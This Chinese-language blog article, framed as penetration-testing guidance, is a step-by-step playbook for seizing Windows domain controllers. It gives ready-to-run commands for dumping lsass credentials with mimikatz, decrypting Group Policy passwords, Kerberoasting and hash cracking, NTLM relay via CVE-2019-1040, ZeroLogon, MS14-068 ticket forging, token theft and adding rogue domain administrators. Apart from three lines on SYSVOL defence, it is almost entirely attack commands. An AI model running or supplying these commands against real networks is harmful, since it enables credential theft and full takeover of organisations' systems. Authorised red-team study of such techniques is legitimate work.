获取域控的方法

2024-01-20 17:20
文章标签 方法 获取 域控

本文主要是介绍获取域控的方法,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

在域渗透中、作为渗透测试人员,获取域控的权限基本上可以获取整个内网的权限

1.高权限读取本地密码

当域管理员在域成员机器上登录进行工作的时候,会将明文密码保存在本地进行的lsass.exe,可以通过 mimikatz来读取到本地的明文密码。

privilege::debug # 提权
sekurlsa::logonpasswords
mimikatz "privilege::debug" "sekurlsa::logonpasswords" "exit" >log.txt

如果主机存在杀软的时候,上传mimikatz很多时候都会被杀掉,可以通过procdump+mimikatz的方式 进行绕过。先导出lsass.exe

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

保存到本地,通过mimikatz读lsass.dmp的明文

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

如果目标机器是windows server 2012,通过添加注册表,在通过锁屏,让管理员重新登录及可以读取 明文。

添加注册表,设置UseLogonCredential设置为1reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v
UseLogonCredential /t REG_DWORD /d 1 /f

利用powershell脚本进行锁屏

Function Lock-WorkStation
{
$signature = @"
[DllImport("user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"@
$LockWorkStation = Add-Type -memberDefinition $signature -name
"Win32LockWorkStation" -namespace Win32Functions -passthru
$LockWorkStation::LockWorkStation() | Out-Null
}
Lock-WorkStation

管理员重新登录后就可以抓取到明文密码了。

net use \\10.10.10.137\ipc$ "QWEasd123" /user:redteam\administrator
python3 wmiexec.py -hashes
00000000000000000000000000000000:42e2656ec24331269f82160ff5962387
administrator@10.10.10.137 "whoami"

2.SYSVOL组策略获取密码

在域环境中,有个默认的共享路径

\\<DOMAIN>\SYSVOL\<DOMAIN>\

SYSVOL是活动目录存储文件服务副本的共享文件夹,里面包含有登录脚本,组策略数据等,域里的所有 用户都能访问这个共享文件。在SYSVOL目录下,默认是没有groups.xml文件的,必须创建组策略脚本 登录才有这个文件。在groups.xml文件中,密码是通过AES-256加密的,但是微软发布了AES的私钥。

可以利用powershell解密密文:

function Get-DecryptedCpassword {
[CmdletBinding()]
Param (
[string] $Cpassword
)
try {
#Append appropriate padding based on string length
$Mod = ($Cpassword.length % 4)
switch ($Mod) {
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
'2' {$Cpassword += ('=' * (4 - $Mod))}
'3' {$Cpassword += ('=' * (4 - $Mod))}
}
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
#Create a new AES .NET Crypto Object
$AesObject = New-Object
System.Security.Cryptography.AesCryptoServiceProvider
[Byte[]] $AesKey =
@(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe
8,
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
#Set IV to all nulls to prevent dynamic generation of IV value
$AesIV = New-Object Byte[]($AesObject.IV.Length)
$AesObject.IV = $AesIV
$AesObject.Key = $AesKey
$DecryptorObject = $AesObject.CreateDecryptor()
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded,
0, $Base64Decoded.length)
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
}
catch {Write-Error $Error[0]}
}
Get-DecryptedCpassword "I0vK3Yj0SeoHQDxF5skcjt3BOkMZmX6IiqRVKCTo4Z4"

针对SYSOVL的防御:

1.打补丁KB2962486
2.删除SYSVOL目录下的groups.xml
3.设置共享文件SYSVOL的权限

3.Kerberoasting

SPN为服务主体名称,是服务实列(MSSQL,HTTP等)的唯一标识,如果在林中安装服务的多个实列,每个 实列都有自己的SPN,如果kerberos服务票证的加密类型为RC4_HMAC_MD5,就可以导出TGS对其进 行离线破解,有可能获取到域用户的密码了。

原理

当域内某个用户去请求同域内的某个服务资源时,请求会首先被送达 KDS 的 AS 中进行身份认证,认证通过 后 AS 会返回一个用用户密码 hash 加密的 TGT 给用户,然后用户再拿着 这个 TGT 向 TGS 去请求,TGS 会返回一个用对应服务账号的密码 hash加密过(RC4_HMAC_MD5)的专门用于访问特定服务的服务票据 回来,最后,用户只需拿这张服务票据去访问对应的服务资源即可,而问题就出在 TGS 返回服务票据,目标服 务此时用的一个域账号来运行的,那么 TGS 在向用户返回服务票据时,用户就可以拿到这张服务票据中 hash,由于 TGS 服务票据加密算法已知,尝试穷举口令,模拟加密过程,生成TGS进行比较。如果TGS相 同,代表口令正确,就能获得目标服务实例的明文口令

使用setspn查询spn(windows7和server2008默认自带)

查询域内所有的SPN和查询test域的SPN

setspn.exe -q */*
setspn.exe -T redteam.club -q */*

以CN开头的为代表一个账号,机器账号为Computers,域用户账号为Users

查询域内注册的spn(kerberoast)

cscript GetUserSPNs.vbs

PowerView 
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1 Import-Module .\PowerView.ps1
Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,lastlogon

给mySQL服务注册SPN

setspn -s mysql/12server4.redteam.club:3306 test

将kerberos的加密方式换成RC4_HMAC_MD5

方法1.用mimikatz 脚本穷举

请求指定的TGS,完成之后klist就能查看相应的票据

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -
ArgumentList "mysql/12server4.redteam.club:3306"

mimikatz导出票据

kerberos::list /export

使用tgsrepcrack.py破解 :https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py

python3 tgsrepcrack.py wordlist.txt mssql.kirbi

如果是域控用户注册的 可以得到域得明文密码

方法2 使用hashcat穷举

使用 System.IdentityModel.Tokens.KerberosRequestorSecurityToken 请求TGS,在返回结果中 提取出TGS,输出的TGS可选择John the Ripper或Hashcat进行破解。

实例演示:

在域内一台主机上以普通用户权限执行:

Invoke-Kerberoast -OutputFormat Hashcat
Invoke-Kerberoast -OutputFormat Hashcat | Select hash | ConvertTo-CSV -
NoTypeInformation

输出结果如下图:

保存文件 使用hashcat对其穷举

hashcat -m 13100 hash /home/kali/Desktop/kerberoast-master/passwd.txt -o
found.txt --force

4.内网协议NTLM之内网大杀器CVE-2019-1040漏洞

创建机器主机账号

python3 addcomputer.py -method SAMR -dc-ip 10.10.10.142 -computer-name moonsec -
computer-pass pass@123 "redteam.club/hack:pass@123"

中继&委派

执行ntlmrelayx.py脚本进行NTLM中继攻击,设置SMB服务器并将认证凭据中继到LDAP协议。其中– remove-mic选项用于清除MIC标志,–escalate-user用于提升指定用户权限

python3 ntlmrelayx.py -t ldap://10.10.10.142 -smb2support --remove-mic --
delegate-access --escalate-user moonsec\$ -debug

域控有两台域控 10.10.10.142 主控 10.10.10.140是备份域控 10.10.10.139 是中继机子(kali)

python3 printerbug.py redteam.club/hack:pass@123@10.10.10.140 10.10.10.139

监听提升 修改委派

获取服务票据

python3 getST.py -dc-ip 10.10.10.142 redteam/moonsec\$:pass@123 -spn
cifs/ad2.redteam.club -impersonate administrator

export KRB5CCNAME=administrator.ccache
vi /etc/resolv.conf

python3 secretsdump.py -k -no-pass ad2.redteam.club -just-dc-user administrator
python3 secretsdump.py -k -no-pass ad2.redteam.club -just-dc-ntlm

导出域控哈希

python3 smbexec.py -no-pass -k ad2.redteam.club

5.CVE-2020-1472-ZeroLogon

Netlogon使用的AES认证算法中的vi向量默认为0,导致攻击者可以绕过认证,同时其设置域控密码的远 程接口也使用了该函数,导致可以将域控中保存在AD中的管理员password设置为空.

影响版本

Windows Server 2008 R2 for x64-based Systems Service Pack 1Windows Server 2008
R2 for x64-based Systems Service Pack 1 (Server Core installation) Windows Server
2012 Windows Server 2012 (Server Core installation) Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation) Windows Server 2016 Windows
Server 2016 (Server Core installation) Windows Server 2019 Windows Server 2019
(Server Core installation) Windows Server, version 1903 (Server Core
installation) Windows Server, version 1909 (Server Core installation) Windows
Server, version 2004 (Server Core installation)

使用zerologin脚本复现

复现过程

python3 zerologon_tester.py ad01 10.10.10.1

漏洞利用 下载exp: git clone https://github.com/dirkjanm/CVE-2020-1472

置空DC的密码 python3 cve-2020-1472-exploit.py DC_NETBIOS_NAME DC_IP_ADDR

python3 cve-2020-1472-exploit.py ad01 10.10.10.137

获取HASH

使用impacket包中的secretsdum.py来获取相关的HASh

python3 secretsdump.py DOMAIN/DC_NETBIOS_NAME$@DC_IP_ADDR -no-pass

python3 secretsdump.py redteam.club/ad01\$@10.10.10.137 -no-pass

获取shell

获取HASH后,可以利用wmiexec.py登录,从而获取一个SHELL

python wmiexec.py -hashes DOMAIN/DOMAIN_USER@DC_IP_ADDR

python3 wmiexec.py -hashes
aad3b435b51404eeaad3b435b51404ee:42e2656ec24331269f82160ff5962387
redteam.club/administrator@10.10.10.137

恢复原HASH

导出sam

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
exit

获取hash

python3 secretsdump.py -sam sam.save -system system.save -security security.save
LOCAL

执行以下命令,获取SAM中原来的HASH

python3 reinstall_original_pw.py ad01 10.10.10.137
813f8ed1cab4b139a984ec6df5bff166c4370395c011194854c788172b5f09e8bc7d174505db585a
0f77689274f23c5c9cc827f9d027bf2b59b9fddfe213019c2702a50a5aca3d4f4f4cf318d01a5b29
3418aca75fedbffe5c3d16cf11c5b52216017f5cc961773e5efb1b8ab0db19104f29a972d9362897
a6bd93ba44d6366bed4f0ba5c9e0a315c65f0dfc63c5a3e718c810d95746d2622fb1b265c4bc43ff
83570f184672c6186044ae52d118991a3f6f67d16aecc6273a0ec229182d9de4a22afb6ec8a7a54a
ed9ac87eda6f688e6d357aa74e4d5328deaf09f5b81a41f6e2e123f12b8105db8d30b5a3c025aced

检测域密码

python3 secretsdump.py ad01.redteam.club/administrator@10.10.10.137 -hashes
:42e2656ec24331269f82160ff5962387

6.MS14-068漏洞进行提权

server2008有效 MS14068是一个能够使普通用户提权到域控权限的权限提升漏洞。攻击者可以通过构 造特定的请求包来达到提升权限的目的。

第一步:利用MS14-068伪造生成TGT

MS14-068.exe -u test@moonsec.fbi -p 123456 -s S-1-5-21-2801122135-3886333168-
273474972-1103 -d 08server-dc.moonsec.fbi

第二步:利用mimikatz将工具得到的TGT票据写入内存,创建缓存证书

kerberos::ptc TGT_test@moonsec.fbi.ccache

第三步:获取域管理员权限。创建一个 test 账号并加入域管理员组,从而随时可以登录域控主机进行操 作。

PsExec.exe \\dc cmd.exe
// 添加test用户net user test abc123! /add /domain
// 把 test 用户添加进域管理员组net group "domain admins" test /add /domain
// 查看域管理员net group "domain admins" /domain或者使用python3 goldenPac.py -dc-ip 192.168.0.142 -target-ip 192.168.0.142
moonsec.fbi/test:123456@08server-dc.moonsec.fbi

7.窃取域管理员令牌

当有域控账户登陆至服务器时可使用令牌模拟进行渗透取得域控权限。

1、入侵域管理员所在的服务器,窃取域管理员的令牌,从而控制整个域。

2、直接在 meterpreter shell 上执行添加域管理员

add_user test abc123! -h 域控的IP地址
add_group_user "Domain Admins" test -h 域控IP地址

8.进程迁移

入侵了域管理员所登录的服务器,将进程迁移到域管理员所运行的进程,就可以获得域管理员权限。

1、获取域管理员列表

net group "Domain Admins" /domain

2、利用ps找到域管理员(TEST\bypass)所运行的进程,然后将shell进程迁移到域管理员所运行的进 程中,成功后就获得了域管理员权限。

3、输入shell命令获取OS shell,在本机上使用Windows命令添加新的域管理员:

// 添加test用户
net user test admin@123 /add /domain
// 把 test 用户添加进域管理员组
net group "domain admins" test /add /domain

这篇关于获取域控的方法的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/626749

相关文章

Window Server2016加入AD域的方法步骤

《WindowServer2016加入AD域的方法步骤》:本文主要介绍WindowServer2016加入AD域的方法步骤,包括配置DNS、检测ping通、更改计算机域、输入账号密码、重启服务... 目录一、 准备条件二、配置ServerB加入ServerA的AD域(test.ly)三、查看加入AD域后的变

Window Server2016 AD域的创建的方法步骤

《WindowServer2016AD域的创建的方法步骤》本文主要介绍了WindowServer2016AD域的创建的方法步骤,文中通过图文介绍的非常详细,对大家的学习或者工作具有一定的参考学习价... 目录一、准备条件二、在ServerA服务器中常见AD域管理器:三、创建AD域,域地址为“test.ly”

NFS实现多服务器文件的共享的方法步骤

《NFS实现多服务器文件的共享的方法步骤》NFS允许网络中的计算机之间共享资源,客户端可以透明地读写远端NFS服务器上的文件,本文就来介绍一下NFS实现多服务器文件的共享的方法步骤,感兴趣的可以了解一... 目录一、简介二、部署1、准备1、服务端和客户端:安装nfs-utils2、服务端:创建共享目录3、服

Python MySQL如何通过Binlog获取变更记录恢复数据

《PythonMySQL如何通过Binlog获取变更记录恢复数据》本文介绍了如何使用Python和pymysqlreplication库通过MySQL的二进制日志(Binlog)获取数据库的变更记录... 目录python mysql通过Binlog获取变更记录恢复数据1.安装pymysqlreplicat

Java 字符数组转字符串的常用方法

《Java字符数组转字符串的常用方法》文章总结了在Java中将字符数组转换为字符串的几种常用方法,包括使用String构造函数、String.valueOf()方法、StringBuilder以及A... 目录1. 使用String构造函数1.1 基本转换方法1.2 注意事项2. 使用String.valu

Python中使用defaultdict和Counter的方法

《Python中使用defaultdict和Counter的方法》本文深入探讨了Python中的两个强大工具——defaultdict和Counter,并详细介绍了它们的工作原理、应用场景以及在实际编... 目录引言defaultdict的深入应用什么是defaultdictdefaultdict的工作原理

C#实现获取电脑中的端口号和硬件信息

《C#实现获取电脑中的端口号和硬件信息》这篇文章主要为大家详细介绍了C#实现获取电脑中的端口号和硬件信息的相关方法,文中的示例代码讲解详细,有需要的小伙伴可以参考一下... 我们经常在使用一个串口软件的时候,发现软件中的端口号并不是普通的COM1,而是带有硬件信息的。那么如果我们使用C#编写软件时候,如

使用Python进行文件读写操作的基本方法

《使用Python进行文件读写操作的基本方法》今天的内容来介绍Python中进行文件读写操作的方法,这在学习Python时是必不可少的技术点,希望可以帮助到正在学习python的小伙伴,以下是Pyth... 目录一、文件读取:二、文件写入:三、文件追加:四、文件读写的二进制模式:五、使用 json 模块读写

Oracle数据库使用 listagg去重删除重复数据的方法汇总

《Oracle数据库使用listagg去重删除重复数据的方法汇总》文章介绍了在Oracle数据库中使用LISTAGG和XMLAGG函数进行字符串聚合并去重的方法,包括去重聚合、使用XML解析和CLO... 目录案例表第一种:使用wm_concat() + distinct去重聚合第二种:使用listagg,

C#实现WinForm控件焦点的获取与失去

《C#实现WinForm控件焦点的获取与失去》在一个数据输入表单中,当用户从一个文本框切换到另一个文本框时,需要准确地判断焦点的转移,以便进行数据验证、提示信息显示等操作,本文将探讨Winform控件... 目录前言获取焦点改变TabIndex属性值调用Focus方法失去焦点总结最后前言在一个数据输入表单